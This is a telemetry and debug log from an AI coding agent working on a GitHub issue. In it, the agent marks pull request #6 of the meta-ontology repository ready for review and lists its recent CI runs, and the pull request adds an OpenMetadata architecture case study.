thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:35.322Z] [INFO] \n[2026-07-12T04:08:35.346Z] [INFO] 2026-07-12T04:08:35.345324Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:08:35.346Z] [INFO] \n[2026-07-12T04:08:35.360Z] [INFO] 2026-07-12T04:08:35.359906Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:08:35.360Z] [INFO] \n[2026-07-12T04:08:35.362Z] [INFO] 2026-07-12T04:08:35.362611Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:08:35.362Z] [INFO] \n[2026-07-12T04:08:35.369Z] [INFO] 2026-07-12T04:08:35.368545Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:08:35.369Z] [INFO] \n[2026-07-12T04:08:35.471Z] [INFO] 2026-07-12T04:08:35.469290Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:08:35.471Z] [INFO] 2026-07-12T04:08:35.470582Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:08:35 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"f4d1d059-6eb1-4220-be24-0ea50dc59207\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=5p%2FA38FCjU8n5d7a9l7hUdKR%2BYgjReWhCNFBycOxIx8mSRQT1B%2FlBb9c6MnIKOY%2FFqITUJ%2B0%2FsGB5Ql49KyiUw6hwso0QwIrD3Y8nMa9EZw4BuIgLOsZTRtat8O5\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d30052f5af00a-FRA\"} version=HTTP/1.1\n[2026-07-12T04:08:35.471Z] [INFO] \n[2026-07-12T04:08:36.045Z] [INFO] 2026-07-12T04:08:36.044666Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53134407ac81918eb1c06cec6bfff6\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNE2zh3tZ2lzGHXG5u7Uhd3GvCtXArU5ilLdCRqZOlLteUu2jX6Ri4ro7vR2W2RG8f8F3PhBzw03ImzEZd4KzLeSp-etXP9Emrx2SKcLROLws-3_O3P6QY0mVEFtjI1LHdOBRB1zab7hcRNeX0ArWIKuRD1kEZ59NypizNIR5zttVQVctDCNNsr-K1bNVzhrW1K5ctjQLxk97KeW01WZmmO1O7j_LTTPeWsO4J43K7txJLr768w3wFTaHr4j15dKCgqXrvX0cUTCke9a5alWwLJHw0LgrpnwyIU9u7ulND7PzGJWnZgAzKlS_Z3-suzhq0Gwa5ZdpsMi4J4NoDA_FaRbV32puw7TwmWmF3WOgIMOXzaslc3cIh_lZK_rdhzFp_YCZ9KYEt1J3Jy1W1WS86I5k3KD8zWyetAAbJD9PVSlaRqSNq7K4GqsN1CsdRg2xsD08z7M0GLxlDI6_bOe-iv7lPfQZbfRsc6N5IkaZu4z255RzTdg82fmuQK6GIYFMMtxNkkXZSGVVzXcbN86t1yajhPBHKOmYdY9tPwKtqdIB0KAiwfoXwa9-eAVtWoRza27LK31s659atb5Oxlpaz723YfOh_-IVaIQpvzrCkpG13O5kKUmmbzeIWZdLIFuJlEc6fwGQASrDANlNcxmHzueCy_AxiXVvBkGmJZUW0XVr1xPgj04c2Qxuw84QY_a2fT3HuoEsW6UVA56EXUByvHBwtEVumZyHDJDRX3HtQQ59DDzbNUUvDGIDaBGZEIY0ek3QZKH_ru_byUTQTV3EqB5Lr3xr9iqt04pHfRu2dMNItDQ_wqaiyQCCu6L0IJHKi34OiDkVSyDsIalTydpVRdaZtxdwM_UF4c_fwdYsjHzQ6N6Z67lJJlPoyzpl6j9pblOh2pxgwvHuAxQfhe-8M5kg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:36.045Z] [INFO] \n[2026-07-12T04:08:36.598Z] [INFO] 2026-07-12T04:08:36.598064Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53134407ac81918eb1c06cec6bfff6\"), summary: [SummaryText { text: \"**Marking readiness and listing recent CI**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNE2jygu2XkczShV72yYci9a-j8zQ7F31OGAaUumPmyC0hioP6QX6n16mYAoDD9bHoNUfQk1d9qOuFW47M4erAanQ2kSieRd1ltwJEt2HIjdwLjo76L_FW5D-TCty9VBajy3A4uuD6MFVgRylkbg7gkel4wEBP2MDs5VElywL5vlCeAlPRlaeUXWNS1PsyJ168i-IH4l7tktmqGyH7xjezg2dRjJK0ZwF9duwDe2GA4v4UlcYZcNhW8Q-Ovk3ry-RTiSPJ4Yg9kbim6wxBu53Fo_2QoTTZJY3JJUtmLFiAG5f_bL9H_FuYkvBZVAB9p-rTJTnzUPVV5Md4Ln0Ed_eEBA_NUqTwtLNZbpddSgHduZmaVzvCPY5rCXOANG2a1UYn9amSUd7X-airrSR70swZTDJ0ECel8UH6LCmLB-oBJJ9iMEMHo09mBOsRKn_uLCmVdx24sDgLL48rjdebr0QHvZThnOzp7T-Stj_2xvLW_Poi2tYjEYbd6shqSEnLzZE-i9iiOxjrnsjAj_4_NJKcstzckIBhLdy5luvaj2YmrdPzzc_cc8sO87qR5rL6oPiRYGzI-jMx0qGjnNa88m4MJ715bVxNoifVYC2b4LtMpr3AndsFSjeQNUdoXlGL7ue9Bbr0SoUwWKPg6sBOITBBfbbTsIrPcWAFc-X5C7z_RySAgWCkBaGoZPeGc2D5FSrlW_vRrrd6SQCu73ozt0wgnFf_lPp7IHAXs6mw552EmUpapszfhJi-r5EuOwruKcOXO2WVzJvIB93-CRO6VVrYorZxipIBi7OoJHIXalW_OLbkXrlcDoXrupDnhAQaG03EqMKmYoUz1fExDuZj7-7EC-nu7QZ23gLvyhBpHF7JaVD-VaYncHeJk1rn5-YMPoOQZ4Ye7HIk4iatA5aePBBwFyYjvhsIocQf5DNi3yKTO2-mThCfrtNZjfqSOafst0NLYU-qlJpiFowvKCAWzU84ge-a4sBuVGBhFlzbj3dfLIok=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:36.598Z] [INFO] \n[2026-07-12T04:08:36.601Z] [INFO] 2026-07-12T04:08:36.599117Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5313449520819187e843ca1ebbde9b\"), status: Some(\"in_progress\"), call_id: \"call_Gb1NgwWE76jimSdCDa1esTnb\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:36.601Z] [INFO] \n[2026-07-12T04:08:36.602Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_53\",\"type\":\"reasoning\",\"text\":\"**Marking readiness and listing recent CI**\"}}\n[2026-07-12T04:08:36.602Z] [INFO] \n[2026-07-12T04:08:39.109Z] [INFO] 2026-07-12T04:08:39.107058Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"gh pr ready 6 --repo link-foundation/meta-ontology && gh pr view 6 --repo link-foundation/meta-ontology --json title,body,isDraft,url,headRefOid,statusCheckRollup && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,workflowName,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000}); text(r.output);\n[2026-07-12T04:08:39.109Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:08:39.109Z] [INFO] \n[2026-07-12T04:08:39.116Z] [INFO] 2026-07-12T04:08:39.109706Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a531343668c8191a80a9ddfdec38e08\"\n[2026-07-12T04:08:39.116Z] [INFO] 2026-07-12T04:08:39.109740Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=77770 output_token_count=163 cached_token_count=76544 reasoning_token_count=14 tool_token_count=77933 ttft_ms=735 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:39.109Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:39.116Z] [INFO] 2026-07-12T04:08:39.109759Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=77770 output_token_count=163 cached_token_count=76544 reasoning_token_count=14 tool_token_count=77933 ttft_ms=735 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:39.109Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:39.116Z] [INFO] \n[2026-07-12T04:08:39.187Z] [INFO] 2026-07-12T04:08:39.184233Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-94c6dad3-f398-47bb-9d74-799ea36bc4af decision=approved source=Config event.timestamp=2026-07-12T04:08:39.184Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:39.187Z] [INFO] \n[2026-07-12T04:08:39.376Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_54\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr ready 6 --repo link-foundation/meta-ontology && gh pr view 6 --repo link-foundation/meta-ontology --json title,body,isDraft,url,headRefOid,statusCheckRollup && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,workflowName,conclusion,status,createdAt,headSha,url'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:08:39.376Z] [INFO] \n[2026-07-12T04:08:41.889Z] [INFO] 2026-07-12T04:08:41.888546Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-94c6dad3-f398-47bb-9d74-799ea36bc4af arguments={\"cmd\":\"gh pr ready 6 --repo link-foundation/meta-ontology && gh pr view 6 --repo link-foundation/meta-ontology --json title,body,isDraft,url,headRefOid,statusCheckRollup && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,workflowName,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=2705 success=true output=Chunk ID: e21c47\n[2026-07-12T04:08:41.889Z] [INFO] Wall time: 2.5328 seconds\n[2026-07-12T04:08:41.889Z] [INFO] Process exited with code 0\n[2026-07-12T04:08:41.889Z] [INFO] Original token count: 1075\n[2026-07-12T04:08:41.889Z] [INFO] Output:\n[2026-07-12T04:08:41.889Z] [INFO] \u2713 Pull request link-foundation/meta-ontology#6 is marked as \"ready for review\"\n[2026-07-12T04:08:41.889Z] [INFO] {\"body\":\"## Summary\\n\\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\\n- Preserve issue, PR, repository, and release observations under `docs/case-studies/issue-5/raw-data/`.\\n- Enumerate all explicit and implied requirements and map each to a solution.\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\n\\nThe central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\n\\nFixes #5\\n\\n## Research method\\n\\nResearch was performed on 2026-07-12 using:\\n\\n- all issue and PR comment/review API streams (all empty at collection time);\\n- the official OpenMetadata repository and latest release metadata;\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\\n\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\n\\n## Deliverables\\n\\n- `docs/case-studies/issue-5/README.md`\\n- `docs/case-studies/issue-5/source-inventory.md`\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\n- `docs/case-studies/issue-5/raw-data/*.json`\\n\\n## Verification\\n\\n- `cargo fmt --all -- --check`\\n-\n[2026-07-12T04:08:41.889Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:41.888Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.889Z] [INFO] 2026-07-12T04:08:41.888599Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-94c6dad3-f398-47bb-9d74-799ea36bc4af duration_ms=2705 success=true arguments_length=430 output_length=2086 output_line_count=8 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:41.888Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.889Z] [INFO] \n[2026-07-12T04:08:41.897Z] [INFO] 2026-07-12T04:08:41.896226Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Gb1NgwWE76jimSdCDa1esTnb arguments=const r=await tools.exec_command({cmd:\"gh pr ready 6 --repo link-foundation/meta-ontology && gh pr view 6 --repo link-foundation/meta-ontology --json title,body,isDraft,url,headRefOid,statusCheckRollup && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,workflowName,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000}); text(r.output);\n[2026-07-12T04:08:41.897Z] [INFO]  duration_ms=2785 success=true output=Script completed\n[2026-07-12T04:08:41.897Z] [INFO] Wall time 2.8 seconds\n[2026-07-12T04:08:41.897Z] [INFO] Output:\n[2026-07-12T04:08:41.897Z] [INFO] \n[2026-07-12T04:08:41.897Z] [INFO] \u2713 Pull request link-foundation/meta-ontology#6 is marked as \"ready for review\"\n[2026-07-12T04:08:41.897Z] [INFO] {\"body\":\"## Summary\\n\\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\\n- Preserve issue, PR, repository, and release observations under `docs/case-studies/issue-5/raw-data/`.\\n- Enumerate all explicit and implied requirements and map each to a solution.\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\n\\nThe central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\n\\nFixes #5\\n\\n## Research method\\n\\nResearch was performed on 2026-07-12 using:\\n\\n- all issue and PR comment/review API streams (all empty at collection time);\\n- the official OpenMetadata repository and latest release metadata;\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\\n\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\n\\n## Deliverables\\n\\n- `docs/case-studies/issue-5/README.md`\\n- `docs/case-studies/issue-5/source-inventory.md`\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\n- `docs/case-studies/issue-5/raw-data/*.json`\\n\\n## Verification\\n\\n- `cargo fmt --all -- --check`\\n- `cargo test --all-features --verbose` \u2014 18 tests passe\n[2026-07-12T04:08:41.897Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:41.896Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.897Z] [INFO] 2026-07-12T04:08:41.896279Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Gb1NgwWE76jimSdCDa1esTnb duration_ms=2785 success=true arguments_length=480 output_length=2086 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:41.896Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.897Z] [INFO] \n[2026-07-12T04:08:41.900Z] [INFO] 2026-07-12T04:08:41.896505Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_Gb1NgwWE76jimSdCDa1esTnb tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=2786 total_duration_ms=2786\n[2026-07-12T04:08:41.900Z] [INFO] \n[2026-07-12T04:08:41.942Z] [INFO] 2026-07-12T04:08:41.938619Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:08:41.942Z] [INFO] \n[2026-07-12T04:08:41.948Z] [INFO] 2026-07-12T04:08:41.947885Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:41.947Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.948Z] [INFO] 2026-07-12T04:08:41.947939Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:41.947Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.948Z] [INFO] 2026-07-12T04:08:41.947953Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:41.948Z] [INFO] \n[2026-07-12T04:08:41.993Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_54\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr ready 6 --repo link-foundation/meta-ontology && gh pr view 6 --repo link-foundation/meta-ontology --json title,body,isDraft,url,headRefOid,statusCheckRollup && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,workflowName,conclusion,status,createdAt,headSha,url'\",\"aggregated_output\":\"\u2713 Pull request link-foundation/meta-ontology#6 is marked as \\\"ready for review\\\"\\n{\\\"body\\\":\\\"## Summary\\\\n\\\\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\\\\n- Preserve issue, PR, repository, and release observations under `docs/case-studies/issue-5/raw-data/`.\\\\n- Enumerate all explicit and implied requirements and map each to a solution.\\\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\\\n\\\\nThe central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\\\n\\\\nFixes #5\\\\n\\\\n## Research method\\\\n\\\\nResearch was performed on 2026-07-12 using:\\\\n\\\\n- all issue and PR comment/review API streams (all empty at collection time);\\\\n- the official OpenMetadata repository and latest release metadata;\\\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case 